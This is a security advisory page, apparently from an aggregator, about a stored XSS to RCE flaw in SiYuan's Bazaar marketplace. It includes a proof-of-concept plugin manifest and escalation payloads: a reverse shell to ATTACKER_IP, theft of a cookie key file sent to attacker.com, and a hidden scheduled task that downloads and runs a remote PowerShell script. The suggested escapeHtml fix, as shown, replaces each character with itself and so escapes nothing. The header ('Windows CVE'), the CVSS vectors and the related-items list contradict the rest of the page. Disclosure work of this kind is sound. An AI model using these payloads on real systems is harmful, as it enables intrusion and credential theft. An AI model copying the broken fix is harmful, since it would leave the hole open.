Windows CVE-2026-33067
CRITICALCVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionNVD
Stored XSS to RCE via Unsanitized Bazaar Package Metadata
Summary
SiYuan's Bazaar (community marketplace) renders package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system - with zero user interaction beyond opening the marketplace tab.
Affected Component
- Metadata rendering:
app/src/config/bazaar.ts:275-277 - Electron config:
app/electron/main.js:422-426(nodeIntegration: true,contextIsolation: false)
Affected Versions
- SiYuan <= 3.5.9
Severity
Critical - CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Vulnerable Code
In app/src/config/bazaar.ts:275-277, package metadata is injected directly into HTML templates without escaping:
// Package name injected directly - NO escaping
${item.preferredName}${item.preferredName !== item.name
? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}
// Package description - title attribute uses escapeAttr(), but text content does NOT
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
${item.preferredDesc || ""} <!-- UNESCAPED HTML -->
</div>The inconsistency is notable: the title attribute is escaped via escapeAttr(), but the actual rendered text content is not - indicating the risk was partially recognized but incompletely mitigated.
The Electron renderer at app/electron/main.js:422-426 is configured with:
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
// ...
}This means any JavaScript executing in the renderer process has direct access to Node.js APIs including require('child_process'), require('fs'), and require('os').
Proof of Concept
Step 1: Create a malicious plugin manifest
Create a GitHub repository with a valid SiYuan plugin structure. In plugin.json:
{
"name": "helpful-productivity-plugin",
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
},
"description": {
"default": "Boost your productivity with smart templates"
},
"version": "1.0.0",
"author": "attacker",
"url": "https://github.com/attacker/helpful-productivity-plugin",
"minAppVersion": "2.0.0"
}Step 2: Submit to Bazaar
Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).
Step 3: Zero-click RCE
When any SiYuan desktop user navigates to Settings > Bazaar > Plugins, the package listing renders the malicious displayName. The <img src=x> tag fails to load, firing the onerror handler, which calls require('child_process').exec('calc.exe').
No click is required. The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.
Escalation: Reverse shell
{
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\"')\">"
}
}Escalation: Data exfiltration (API token theft)
{
"displayName": {
"default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">"
}
}Escalation: Silent persistence (Windows)
{
"displayName": {
"default": "<img src=x onerror=\"require('child_process').exec('schtasks /create /tn SiYuanUpdate /tr \\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\"https://attacker.com/payload.ps1\\\\\\\")\\\" /sc onlogon /rl highest /f')\">"
}
}Attack Scenario
- Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
- Attacker submits it to the SiYuan Bazaar via the standard community contribution process.
- The
plugin.jsonmanifest contains an XSS payload in thedisplayNameordescriptionfield. - When any SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.
- The injected
<img onerror>(or<svg onload>,<details ontoggle>, etc.) fires automatically. - JavaScript executes in the Electron renderer with full Node.js access (
nodeIntegration: true). - The attacker achieves arbitrary OS command execution - reverse shell, data exfiltration, persistence, ransomware, etc.
The user does not need to install, click, or interact with the malicious package in any way. Browsing the marketplace is sufficient.
Impact
- Full remote code execution on any SiYuan desktop user who browses the Bazaar
- Zero-click - payload fires on page load, no interaction required
- Supply-chain attack - targets the entire SiYuan user community via the official marketplace
- Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files
- Can install persistent backdoors, scheduled tasks, or ransomware
- Affects all platforms: Windows, macOS, Linux
Suggested Fix
1. Escape all package metadata in template rendering (bazaar.ts)
function escapeHtml(str: string): string {
return str.replace(/&/g, '&').replace(/</g, '<')
.replace(/>/g, '>').replace(/"/g, '"')
.replace(/'/g, ''');
}
// Apply to ALL user-controlled metadata before rendering
${escapeHtml(item.preferredName)}
<div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div>2. Server-side sanitization in the Bazaar index pipeline
Sanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil {
return
}
for k, v := range pkg.DisplayName {
pkg.DisplayName[k] = html.EscapeString(v)
}
for k, v := range pkg.Description {
pkg.Description[k] = html.EscapeString(v)
}
}3. Long-term: Harden Electron configuration
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}AnalysisAI
SiYuan's Bazaar marketplace fails to sanitize package metadata (displayName, description) before rendering in the Electron desktop application, allowing stored XSS that escalates to arbitrary remote code execution. Any SiYuan user (versions ≤3.5.9) who browses the Bazaar will automatically execute attacker-controlled code with full OS-level privileges when a malicious package card renders-no installation or user interaction required. …
Sign in for full analysis, threat intelligence, and remediation guidance.
RemediationAI
Within 24 hours: Identify all affected systems and apply vendor patches immediately. Verify anti-CSRF tokens and content security policies are enforced.
Sign in for detailed remediation steps.
More from same product – last 7 days
{filename} endpoint. The flawed traversal filter only rejects forward slashes and '..' sequences, leaving absolute Windo
Remote code execution in Microsoft Azure Orbital Spatio allows unauthenticated network attackers to upload dangerous fil
Unsafe deserialization in Microsoft Planetary Computer Pro (Geocatalog) lets a remote unauthenticated attacker craft mal
Remote code execution in Microsoft Power Pages allows unauthenticated network attackers to inject and execute operating-
Privilege elevation in Microsoft Azure Resource Manager (ARM) allows remote unauthenticated attackers to bypass authenti
Vendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-mvpm-v6q4-m2pf